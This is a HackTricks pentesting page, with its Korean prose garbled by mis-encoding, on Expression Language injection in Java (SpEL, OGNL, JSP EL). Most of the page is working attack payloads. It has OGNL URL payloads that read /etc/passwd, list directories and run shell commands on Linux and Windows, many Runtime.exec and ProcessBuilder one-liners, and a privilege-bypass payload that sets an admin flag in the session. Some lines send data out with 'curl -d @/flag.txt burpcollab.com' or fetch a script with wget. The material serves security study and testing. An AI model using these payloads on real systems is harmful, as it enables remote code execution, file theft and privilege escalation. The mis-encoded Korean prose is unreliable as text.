EL - Expression Language
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Bsic Info
Expression Language (EL)์ JavaEE์์ ํ๋ ์ ํ ์ด์ ๋ ์ด์ด(์: ์น ํ์ด์ง)์ ์ ํ๋ฆฌ์ผ์ด์ ๋ก์ง(์: ๊ด๋ฆฌ๋๋ ๋น) ๊ฐ์ ์ํธ์์ฉ์ ๊ฐ๋ฅํ๊ฒ ํ๋ ๋ฐ ํ์์ ์ ๋๋ค. ์ฃผ๋ก ๋ค์์์ ์ฌ์ฉ๋ฉ๋๋ค:
- JavaServer Faces (JSF): UI ๊ตฌ์ฑ ์์๋ฅผ ๋ฐฑ์๋ ๋ฐ์ดํฐ/์์ ์ ๋ฐ์ธ๋ฉํ๊ธฐ ์ํด.
- JavaServer Pages (JSP): JSP ํ์ด์ง ๋ด์์ ๋ฐ์ดํฐ ์ ๊ทผ ๋ฐ ์กฐ์์ ์ํด.
- Contexts and Dependency Injection for Java EE (CDI): ๊ด๋ฆฌ๋๋ ๋น๊ณผ์ ์น ๋ ์ด์ด ์ํธ์์ฉ์ ์ด์งํ๊ธฐ ์ํด.
์ฌ์ฉ ๋งฅ๋ฝ:
- Spring Framework: Security ๋ฐ Data์ ๊ฐ์ ๋ค์ํ ๋ชจ๋์์ ์ ์ฉ๋ฉ๋๋ค.
- ์ผ๋ฐ ์ฌ์ฉ: Java, Kotlin, Scala์ ๊ฐ์ JVM ๊ธฐ๋ฐ ์ธ์ด์ ๊ฐ๋ฐ์๋ค์ด SpEL API๋ฅผ ํตํด ์ฌ์ฉํฉ๋๋ค.
EL์ JavaEE ๊ธฐ์ , ๋
๋ฆฝ ์คํ ํ๊ฒฝ์ ์กด์ฌํ๋ฉฐ, .jsp ๋๋ .jsf ํ์ผ ํ์ฅ์, ์คํ ์ค๋ฅ ๋ฐ ํค๋์ โServletโ๊ณผ ๊ฐ์ ์ฉ์ด๋ฅผ ํตํด ์ธ์ํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ ํน์ ๊ธฐ๋ฅ๊ณผ ํน์ ๋ฌธ์์ ์ฌ์ฉ์ ๋ฒ์ ์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค.
Note
EL ๋ฒ์ ์ ๋ฐ๋ผ ์ผ๋ถ ๊ธฐ๋ฅ์ด ์ผ์ ธ ์๊ฑฐ๋ ๊บผ์ ธ ์์ ์ ์์ผ๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก ์ผ๋ถ ๋ฌธ์๋ ํ์ฉ๋์ง ์์ ์ ์์ต๋๋ค.
Basic Example
(EL์ ๋ํ ๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ํํ ๋ฆฌ์ผ์ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/์์ ์ฐพ์ ์ ์์ต๋๋ค.)
๋ค์ Main.java ํ์ผ์ ๋ง๋ค๊ธฐ ์ํด Maven ์ ์ฅ์์์ jar ํ์ผ์ ๋ค์ด๋ก๋ํฉ๋๋ค:
commons-lang3-3.9.jarspring-core-5.2.1.RELEASE.jarcommons-logging-1.2.jarspring-expression-5.2.1.RELEASE.jar
๊ทธ๋ฆฌ๊ณ ๋ค์ Main.java ํ์ผ์ ์์ฑํฉ๋๋ค:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
๋ค์์ผ๋ก ์ฝ๋๋ฅผ ์ปดํ์ผํฉ๋๋ค (๋ง์ฝ javac๊ฐ ์ค์น๋์ด ์์ง ์๋ค๋ฉด, sudo apt install default-jdk๋ฅผ ์ค์นํ์ธ์):
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์๊ณผ ๊ฐ์ด ์คํํ์ญ์์ค:
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
์ด์ ์์ ์์ {5*5}๋ผ๋ ์ฉ์ด๊ฐ ํ๊ฐ๋์์์ ์ฃผ๋ชฉํ์ญ์์ค.
CVE ๊ธฐ๋ฐ ํํ ๋ฆฌ์ผ
์ด ๊ฒ์๋ฌผ์์ ํ์ธํ์ธ์: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a
ํ์ด๋ก๋
๊ธฐ๋ณธ ์์
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
ํ์ง
- Burp ํ์ง
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
- J2EE ํ์ง
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
- 10์ด ๋๊ธฐ
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
์๊ฒฉ ํ์ผ ํฌํจ
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
๋๋ ํ ๋ฆฌ ๋ชฉ๋ก
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
- ๊ธฐ๋ณธ RCE ์ค๋ช
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
- RCE ๋ฆฌ๋ ์ค
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- RCE Windows (ํ ์คํธ๋์ง ์์)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- ๋ ๋ง์ RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
ํ๊ฒฝ ๊ฒ์ฌ
applicationScope- ์ ์ญ ์ ํ๋ฆฌ์ผ์ด์ ๋ณ์requestScope- ์์ฒญ ๋ณ์initParam- ์ ํ๋ฆฌ์ผ์ด์ ์ด๊ธฐํ ๋ณ์sessionScope- ์ธ์ ๋ณ์param.X- http ๋งค๊ฐ๋ณ์์ ์ด๋ฆ์ด X์ธ ๋งค๊ฐ๋ณ์ ๊ฐ
์ด ๋ณ์๋ฅผ String์ผ๋ก ๋ณํํด์ผ ํฉ๋๋ค:
${sessionScope.toString()}
๊ถํ ์ฐํ ์์
${pageContext.request.getSession().setAttribute("admin", true)}
์ ํ๋ฆฌ์ผ์ด์ ์ ๋ค์๊ณผ ๊ฐ์ ์ฌ์ฉ์ ์ ์ ๋ณ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
${user}
${password}
${employee.FirstName}
WAF ์ฐํ
Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/
References
- https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
- https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
- https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


